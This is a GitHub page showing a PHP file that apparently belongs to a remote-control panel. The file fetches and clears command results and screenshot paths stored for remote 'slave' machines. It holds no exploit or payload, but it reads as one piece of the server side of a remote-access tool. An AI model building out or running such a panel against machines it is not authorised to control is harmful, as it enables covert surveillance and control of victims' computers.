-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathgetresponse.php
68 lines (63 loc) · 2.02 KB
/
getresponse.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
include 'session.php';
include 'conn.php';
/*
<explanation>
This file used for retrieving results of commands at interact page.
Take slaveID as GET request and send corresponding query to database and return response.
</explanation>
*/
if($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET["slave"]))
{
$retrieveResponse = $conn->prepare("SELECT slaveResponse,slaveLatestImagePath from slaves where slaveId=?");
if($retrieveResponse !==false)
{
$errorControl = $retrieveResponse->bind_param("s", $_GET["slave"]);
if($errorControl !== false)
{
$errorControl = $retrieveResponse->execute();
if($errorControl !== false)
{
$retrieveResponse->store_result();
$retrieveResponse->bind_result($response, $imagePath);
$retrieveResponse->fetch();
}
else{
echo "Error occured: " . $errorControl->error;
}
}
else {
echo "Error occured: " . $errorControl->error;
}
}
else{
echo "Error occured: " . $retrieveResponse->error;
}
/*$row = $res->fetch_array();
$response = $row["slaveResponse"];
*/
if(strlen($response) > 1 )
{
echo htmlspecialchars($response);
$setResponse = $conn->prepare("update slaves set slaveCommand ='', slaveResponse='' where slaveId=?");
if($setResponse !==false)
{
$errorControl = $setResponse->bind_param("s",$_GET["slave"]);
if($errorControl !== false)
{
$erorControl = $setResponse->execute();
if($errorControl ===false)
{
echo $errorControl->error;
}
}
else{
echo $errorControl->error;
}
}
else{
echo $setResponse->error;
}
}
}
?>